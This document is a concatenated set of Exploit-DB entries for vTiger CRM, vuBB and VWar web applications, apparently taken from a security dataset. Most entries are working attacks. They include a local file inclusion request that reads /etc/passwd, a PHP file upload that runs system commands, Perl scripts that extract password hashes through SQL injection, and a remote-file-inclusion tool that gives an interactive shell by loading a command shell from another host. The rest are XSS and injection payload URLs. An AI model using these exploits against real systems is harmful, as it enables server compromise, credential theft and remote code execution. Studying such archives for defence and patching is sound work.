deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32213
Description: vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-03-12
Author: Portcullis

Exploit:
CVE: 	CVE-2014-1222
Vendor: 	Vtiger
Product: 	CRM
Affected version: 	Vtiger 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version: 	Vtiger 6.0.0 Security patch 1
Reported by: 	Jerzy Kramarz
Details:

A local file inclusion vulnerability was discovered in the ‘kcfinder’ component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files.

The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.

POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.56.103
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off

dir=files&file=/../../../../../../../../../../../etc/passwd

Note: In order to exploit this vulnerability an attacker has to be authenticated.
Impact:

This vulnerability gives an attacker the ability to read local files from the server filesystem.
Exploit:

Exploit code is not required.

Vendor status:
23/12/2013 	Advisory created
03/01/2014 	Vendor contacted
14/01/2014 	CVE obtained
27/01/2014 	Vendor contact reattempted
10/02/2014 	Vendor working on a fix
12/02/2014 	Fix released
13/02/2014 	Fix confirmed
11/03/2014 	Published
Exploit-DB #38345
Description: vTiger CRM 6.3.0 - (Authenticated) Remote Code Execution
Type: webapps
Platform: php
Date: 2015-09-28
Author: Benjamin Daniel Mussler

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


# Exploit Title: Vtiger CRM <= 6.3.0 Authenticated Remote Code Execution
# Date: 2015-09-28
# Exploit Author: Benjamin Daniel Mussler
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://www.vtiger.com/open-source-downloads/
# Version: 6.3.0 (and lower)
# Tested on: Linux (Ubuntu)
# CVE : CVE-2015-6000
# Source: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html


=== Description ===

Vtiger CRM's administration interface allows for the upload of a company
logo. Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and run this code by accessing the resulting
PHP file.

Detailed description:
http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html


=== PoC ===

Through a specially crafted HTTP-POST request, a PHP file is stored on
the server hosting the Vtiger CRM software:

    POST /index.php HTTP/1.1
    Host: [...]
    Cookie: [...]
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]5208
    Content-Length: 2040

    ----------------------------[PII_REDACTED]5208
    Content-Disposition: form-data; name="__vtrftk"

    [...]
    ----------------------------[PII_REDACTED]5208
    Content-Disposition: form-data; name="logo"; filename="2.php"
    Content-Type: image/jpeg

    <? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>
    ----------------------------[PII_REDACTED]5208
    Content-Disposition: form-data; name="address"
    [...]


The resulting PHP file can then be accessed at

        [Vtiger URL]/test/logo/2.php





- --
  Benjamin Daniel MUSSLER

  Ix-Xgħajra, Malta     Tel (MT) +356 9965 3798
  Karlsruhe, Germany     Tel (DE) +49[PII_REDACTED]
  Web: https://FL7.DE     PGP: https://FL7.DE/pgp/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.21 (MingW32)

iQIcBAEBAgAGBQJWCVaeAAoJEAg0a3ng3v4f108P/0u+CUuUKSsSFiQt4S/HVAnw
5ykzNoZ/T1v0LUrItI1bZPeTyRr6VUandYclg68OM3VY0zc4x9161ScSlcnIitVO
AasvEw7mGguAR4Pe2i84LpPNvE6Bi+MJqU6vnBqZVmQMXUY8k+Mb0ufM/DMByLPj
dcozrAgI9ZQC3pnWiOPigD+gHe/AxY3Z1cxQLluOqBmMf7f3JXC+1dZt91EScuyi
lHNtd6/uRtHJKqBG8MZMXnq49OxTk7iiqQmb393RizPL0eI8FumwaCXTDnLgRwX3
7XQfmg3sCzT1jPSQB4/UYciePPOS4EREjDA/RW5ydtGRCkZPvmjUlfaFMwTjlCd1
dpRIRlzDBWUCVFIqkp2TGkrkbckA1hnehH1q64sQ4KopdKl0tPJ8yLumVr2Uvwtq
iLAbhQcn6+Cr9gctzOlrbj7BqY9uC0HfVdsl1qOCN5v3Yrbq7h/ToPnKGACLQN7t
sALb61+vvriPimTVZD3AQg9t82G1brPHMzp+cLwjhYtw8b+2rohAA0JoUgBsCUHG
8dgnHI1K514soGkCDB4Mk2oM5W8T2tMsxvX/iQDH45IL3hYrROnWUnW+Fd3hA3ks
VsqaNpaDEm+allop6OH3PETs6rGsLyaspCJBdkqKqxNOS6XE+lScrBVxzNL4VJL2
i8fbvZ/RIkuBT0Z79hUV
=gMXq
-----END PGP SIGNATURE-----
Exploit-DB #26455
Description: VUBB - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-01
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/15260/info

VUBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/index.php?act=newreply&t='>%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E&f=6
Exploit-DB #1543
Description: vuBB 0.2 Final - 'cookie' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-01
Author: KingOfSka

Exploit:
#!/usr/bin/perl 
print q{
----------------------------------------------------------------------

	vuBB <=0.2 Final Remote SQL Injection (cookies) Exploit
	
		exploit discovered and coded by KingOfSKa
			
			https://contropotere.netsons.org

----------------------------------------------------------------------

};

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[1]) {$ARGV[1] = '1';}

my $path = $ARGV[0] . '/index.php';
my $user = $ARGV[1];   # userid to jack
my $uname = $ARGV[2];
my $answer = "";
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
if (!$ARGV[2])
{
        print q{
		Usage:
		
		perl vubb.pl FULL_URL_TO_VBB VICTIM_USER_ID USER_NICKNAME
		perl vubb.pl http://www.somesite.com/vubb 1 administrator
		
		};
exit();

}
print "[URL:] $path\r\n";
print "[USERID:] $user\r\n";
print "[USERNAME:] $user\r\n";
print "Starting connection...\r\n";

my $j = 0 ;
for( $i=1; $i < 33; $i++ )
{
        for( $j=1; $j < 17; $j++ )
        {
	
                $current = $charset[$j];
		
  my $sql = "99%27+OR+(id%3d".$user."+AND+MID(pass,".$i.",1)%3d%27".$charset[$j]."%27)/*"; 
                my @cookie = ('Cookie' => "user=kingofska; pass=$sql;");
                my $res = $ua->get($path, @cookie);

                $answer = $res->content;
		#print $answer; #Just for debugging...
		if ($answer =~/(.*)Welcome $uname(.*)/){$outputs.= $current; print "$i/32 found...\r\n"; }
	}

 
}


if ( length($outputs) < 1 )   { print "Not Exploitable!\r\n"; exit;     }
print  "User Hash is: $outputs \r\n";
exit;

# milw0rm.com [2006-03-01]
Exploit-DB #1280
Description: VuBB Forum RC1 - 'm' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-02
Author: Devil-00

Exploit:
#!/bin/env perl
#------------------------------------------------------------#
#-	VuBB RC1 SQL Injection .. By Devil-00 < devil-00@s4a.cc >
#-	[!]	==|| This Exploit Only When magic_quotes_gpc Is OFF ||==
#-		Gr33tz :-                                                              
#-			Abducter ..															 
#-			Devil-00 .. SQL Injection F0und3r & Expl0ting - | devil-00@s4a.cc | -  
#-			Security4Arab .. A'Where Home .. WE LOVE S4A FOR EVER :P               
#-			Xion ..																  
#-			HACKERS PAL ..														  
#-			Yes2Hack ..                                                            
#-			WwW.Sqor.NeT                                                           
#-			WwW.S4a.Cc                                                             
#-			WwW.SecurityGurus.NeT 
#------------------------------------------------------------#
use LWP::Simple;

print "\n\n==========================================\n";
print "\n= Exploit for VuBB RC1						          ";
print "\n= Coded By Devil-00 | devil-00@s4a.cc |				  ";
print "\n= Gr33tz :-                                                              ";
print "\n= Abducter ..								  ";
print "\n= Devil-00 .. SQL Injection F0und3r & Expl0ting - | devil-00@s4a.cc | -  ";
print "\n= Security4Arab .. A'Where Home .. WE LOVE S4A FOR EVER :P               ";
print "\n= Xion ..								  ";
print "\n= HACKERS PAL ..							  ";
print "\n= Yes2Hack ..                                                            ";
print "\n= WwW.Sqor.NeT                                                           ";
print "\n= WwW.S4a.Cc                                                             ";
print "\n= WwW.SecurityGurus.NeT                                                  ";
print "\n============================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
  print "\n==|| This Exploit Only When magic_quotes_gpc Is OFF ||==";	
  print "\nUsage:\nperl $0 [Full-Path] [User ID]\n\nExample:\nperl $0 http://vubb.com/forum/ 1\n";
  exit(0);
}
$url = "/index.php?act=member&m=-99%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null,null,null,null,user,null,null,pass,null%20FROM%20members%20WHERE%20id=1/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/Website: <a href='(.*?)'>(.*?)<\/a>/ && print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);
$page =~ m/Yahoo: (.*?)<br \/>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);


# milw0rm.com [2005-11-02]
Exploit-DB #31134
Description: VWar 1.5 - 'calendar.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-11
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/27722/info

VWar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VWar 1.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/vwar/calendar.php?month=[SQL]
Exploit-DB #28352
Description: VWar 1.5 - 'calendar.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info
  
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/calendar.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #28353
Description: VWar 1.5 - 'challenge.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info
   
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect version 1.5; other versions may also be vulnerable.

ttp://www.example.com/[vwar_path]/challenge.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #28354
Description: VWar 1.5 - 'joinus.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info
    
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/joinus.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #28351
Description: VWar 1.5 - 'member.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info
 
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/member.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #28355
Description: VWar 1.5 - 'news.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info
     
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]news.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #28356
Description: VWar 1.5 - 'stats.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info
      
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/stats.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #28350
Description: VWar 1.5 - 'war.php?vwar_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19387/info

VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/war.php?vwar_root=[Shell-code]?&cmd=ls
Exploit-DB #1632
Description: VWar 1.5.0 R12 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-02
Author: uid0

Exploit:
#!/usr/bin/perl
##
# VWar <= 1.5.0 R12 Remote File Inclusion Exploit
# Bug Found By uid0 code by zod
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl vwar.pl <location of VWar> <cmd shell location> <cmd shell variable>
#
# perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##
# Comments:
# I release a new exploit because VWar
# Dev. Team called my other exploit XSS!!!
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
	print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/get_header.php?vwar_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";
	last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " 	   *VWar <= 1.5.0 R12 Remote File Inclusion Exploit*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl vwar.pl <location of VWar> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to VWar ex: http://www.site.com/VWar/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		           Bug Found by uid0\r\n";
 print "	www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-02]
Exploit-DB #4332
Description: VWar 1.5.0 R15 - 'mvcw.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-28
Author: DNX

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo--------------------
   | VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion |
   |                    coded by DNX                     |
   -------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.vwar.de
[!] Detected: 26.02.2007
[!] Reported: 27.02.2007
[!] Remote: yes

[!] Background: VWar is a team organizer based on PHP and MySQL

[!] Bug: $vwar_root in convert/mvcw.php

[!] PoC:
    - http://[site]/[path]/convert/mvcw.php?vwar_root=[xss]
    - http://[site]/[path]/convert/mvcw.php?step=1&vwar_root=[shell]

[!] Example:
    - http://127.0.0.1/vwar/convert/mvcw.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
    vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in convert/mvcw.php line 79:
    - replace:
	if ($GPC['step'] == 1)
	{
		// clean tables

    - with:
	if ($GPC['step'] == 1)
	{
		$vwar_root = "./../";
		// clean tables

# milw0rm.com [2007-08-28]
Exploit-DB #2170
Description: VWar 1.50 R14 - 'online.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-08-10
Author: brOmstar

Exploit:
    .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 1o.o8.2oo6 ..
 
 
  Affected Application: VWar <= v1.50 R14
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: brOmstar
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: brom0815@gmx.de
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [ ]  SQL Injection [x]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: VWar
 
  Version: <= v1.50 R14
 
  Vulnerable File: extra/online.php

  Vulnerable Variable: n
 
  URL: http://www.vwar.de
 
  Description: Virtual War is a tool for gaming clans.
 
  Dork: intext:"Powered by: Virtual War v1.5.0"



 . . :[ code snippet ]: . . . . . . . . . . . . . . . . . . . . . . . . .


  line 63: $query = $vwardb->query("

  line 64:	SELECT memberid, name, lastactivity

  line 65:	FROM vwar".$n."_member WHERE lastactivity > ".(time() - 

                $onlinetime * 60)."

  line 66: ");

 

 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 

  example: if you want a list of userid/username/password's try this:


  http://www.vwar.de/demo/extra/online.php?n=_member%20WHERE%20memberid=-999%20UNION%20SELECT%200,CONCAT(memberid,0x3A,name,0x3A,password),2%20FROM%20vwar_member%20%20/*
 
  
  encrypt the md5-password again with md5 and throw it in a cookie... :-)
 


 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open extra/online.php
 
  o2.) take a look at the following lines:

       41: if( !defined ("VWAR_COMMON_INCLUDED") )
 	
       42: {

       43: $vwar_root = $vwar_xroot;

       44: require_once ( $vwar_root . "includes/functions_common.php" );

       45: }
 
  o3.) add between line 44 and 45 this:

       require_once ( $vwar_root . "includes/_config.inc.php" );
 
  o4.) done!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  buzzdee, camino and my lovely, sexy girlfriend!

# milw0rm.com [2006-08-10]